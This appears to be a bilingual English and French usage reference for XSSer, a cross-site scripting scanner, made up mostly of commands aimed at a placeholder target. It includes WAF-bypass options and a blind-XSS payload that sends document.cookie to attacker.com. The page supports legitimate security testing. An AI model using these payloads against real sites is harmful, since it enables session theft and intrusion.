xsser

Scanner et framework d'exploitation XSS automatisé. Détecte et exploite les vulnérabilités de cross-site scripting à travers les points d'injection GET, POST et les en-têtes. Automated XSS vulnerability scanner and exploitation framework. Detects and exploits cross-site scripting vulnerabilities across GET, POST, and header injection points.

↗ https://github.com/epsylon/xsser

Overview

XSSer is an automated framework for detecting and exploiting cross-site scripting (XSS) vulnerabilities. It tests GET/POST parameters and HTTP headers with hundreds of payloads, bypasses filters, and can generate proof-of-concept exploit code.

Basic Usage

Scan a URL with GET parameter

xsser --url "http://target.com/search?q=XSS"

Automatic mode (test all parameters)

xsser --url "http://target.com/search?q=1&page=1" -A

POST parameter scanning

xsser --url "http://target.com/login" --data "username=XSS&password=test"

With cookies (authenticated)

xsser --url "http://target.com/profile?name=XSS" --cookie "session=abc123"

Scan Modes

Auto-detect parameters to inject (uses heuristics)

xsser --url "http://target.com/" -A

Test all parameters in URL

xsser --url "http://target.com/page?p1=1&p2=2" --all-params

Test GET and POST

xsser --url "http://target.com/search" -A --auto

Use Tor for anonymity

xsser --url "http://target.com/search?q=XSS" --proxy "http://127.0.0.1:8118"

Payload Options

Use all built-in payloads

xsser --url "http://target.com/search?q=XSS" --all

DOM-based XSS detection

xsser --url "http://target.com/search?q=XSS" --dom

Test for blind XSS (callback to your server)

xsser --url "http://target.com/form" \
  --data "comment=XSS" \
  --Fp "<script>var i=new Image(); i.src='http://attacker.com/?c='+document.cookie</script>"

Header injection

xsser --url "http://target.com/" --referer "XSS" --user-agent "XSS"

Filter Bypass

Enable WAF bypass techniques

xsser --url "http://target.com/search?q=XSS" --Cl
xsser --url "http://target.com/search?q=XSS" --Hex  # hex encoding
xsser --url "http://target.com/search?q=XSS" --Str  # string encoding

DOM obfuscation

xsser --url "http://target.com/search?q=XSS" --Dom

Multiple evasions

xsser --url "http://target.com/search?q=XSS" --Cl --Hex --Dom

Output and Exploitation

Save results to file

xsser --url "http://target.com/search?q=XSS" -s output.txt

Generate browser-ready PoC

xsser --url "http://target.com/search?q=XSS" --Fp "alert(1)"

Use custom payload

xsser --url "http://target.com/search?q=XSS" --payload '<img src=x onerror=alert(1)>'

Verbose output

xsser --url "http://target.com/search?q=XSS" -v

GTK GUI Mode

Launch with graphical interface

xsser --gtk

Tips

  • Always try the simplest payloads first (<script>alert(1)</script>, "><img src=x onerror=alert(1)>)
  • XSStrike and Dalfox are often more effective modern alternatives
  • Use --Dom for single-page apps where DOM-based XSS is more likely
  • Combine with Burp Suite for manual verification of automated findings
Help / Man page
xsser [options]

-u URL, --url URL   Target URL
--data DATA         POST data
--cookie COOKIE     Cookie header
--all-params        Test all params
-A                  Auto mode
--dom               DOM-based XSS detection
--Fp PAYLOAD        Custom final payload
--payload CODE      Custom injection payload
--Cl                Enable filter bypass
--Hex               Hex encoding
--Str               String encoding
--Dom               DOM obfuscation
--proxy PROXY       HTTP proxy
-v                  Verbose
-s FILE             Save output to file
--gtk               Launch GTK GUI

Vue d’ensemble

XSSer est un framework automatisé de détection et d’exploitation des vulnérabilités de cross-site scripting (XSS). Il teste les paramètres GET/POST et les en-têtes HTTP avec des centaines de payloads, contourne les filtres, et peut générer du code d’exploit proof-of-concept.

Utilisation de base

# Scanner une URL avec un paramètre GET
xsser --url "http://target.com/search?q=XSS"

# Mode automatique (tester tous les paramètres)
xsser --url "http://target.com/search?q=1&page=1" -A

# Scan de paramètre POST
xsser --url "http://target.com/login" --data "username=XSS&password=test"

# Avec des cookies (authentifié)
xsser --url "http://target.com/profile?name=XSS" --cookie "session=abc123"

Modes de scan

# Auto-détection des paramètres à injecter (utilise des heuristiques)
xsser --url "http://target.com/" -A

# Tester tous les paramètres de l'URL
xsser --url "http://target.com/page?p1=1&p2=2" --all-params

# Tester GET et POST
xsser --url "http://target.com/search" -A --auto

# Utiliser Tor pour l'anonymat
xsser --url "http://target.com/search?q=XSS" --proxy "http://127.0.0.1:8118"

Options de payload

# Utiliser tous les payloads intégrés
xsser --url "http://target.com/search?q=XSS" --all

# Détection XSS basée sur le DOM
xsser --url "http://target.com/search?q=XSS" --dom

# Tester le XSS aveugle (callback vers votre serveur)
xsser --url "http://target.com/form" \
  --data "comment=XSS" \
  --Fp "<script>var i=new Image(); i.src='http://attacker.com/?c='+document.cookie</script>"

# Injection d'en-tête
xsser --url "http://target.com/" --referer "XSS" --user-agent "XSS"

Contournement de filtres

# Activer les techniques de contournement de WAF
xsser --url "http://target.com/search?q=XSS" --Cl

xsser --url "http://target.com/search?q=XSS" --Hex  # encodage hex

xsser --url "http://target.com/search?q=XSS" --Str  # encodage de chaîne

# Obfuscation DOM
xsser --url "http://target.com/search?q=XSS" --Dom

# Évasions multiples
xsser --url "http://target.com/search?q=XSS" --Cl --Hex --Dom

Sortie et exploitation

# Sauvegarder les résultats dans un fichier
xsser --url "http://target.com/search?q=XSS" -s output.txt

# Générer un PoC prêt pour le navigateur
xsser --url "http://target.com/search?q=XSS" --Fp "alert(1)"

# Utiliser un payload personnalisé
xsser --url "http://target.com/search?q=XSS" --payload '<img src=x onerror=alert(1)>'

# Sortie verbeuse
xsser --url "http://target.com/search?q=XSS" -v

Mode GUI GTK

Lancer avec l’interface graphique

xsser --gtk

Conseils

  • Toujours essayer d’abord les payloads les plus simples (<script>alert(1)</script>, "><img src=x onerror=alert(1)>)
  • XSStrike et Dalfox sont souvent des alternatives modernes plus efficaces
  • Utiliser --Dom pour les applications à page unique où le XSS basé sur le DOM est plus probable
  • Combiner avec Burp Suite pour une vérification manuelle des découvertes automatisées
Aide / Page de manuel
xsser [options]

-u URL, --url URL   Target URL
--data DATA         POST data
--cookie COOKIE     Cookie header
--all-params        Test all params
-A                  Auto mode
--dom               DOM-based XSS detection
--Fp PAYLOAD        Custom final payload
--payload CODE      Custom injection payload
--Cl                Enable filter bypass
--Hex               Hex encoding
--Str               String encoding
--Dom               DOM obfuscation
--proxy PROXY       HTTP proxy
-v                  Verbose
-s FILE             Save output to file
--gtk               Launch GTK GUI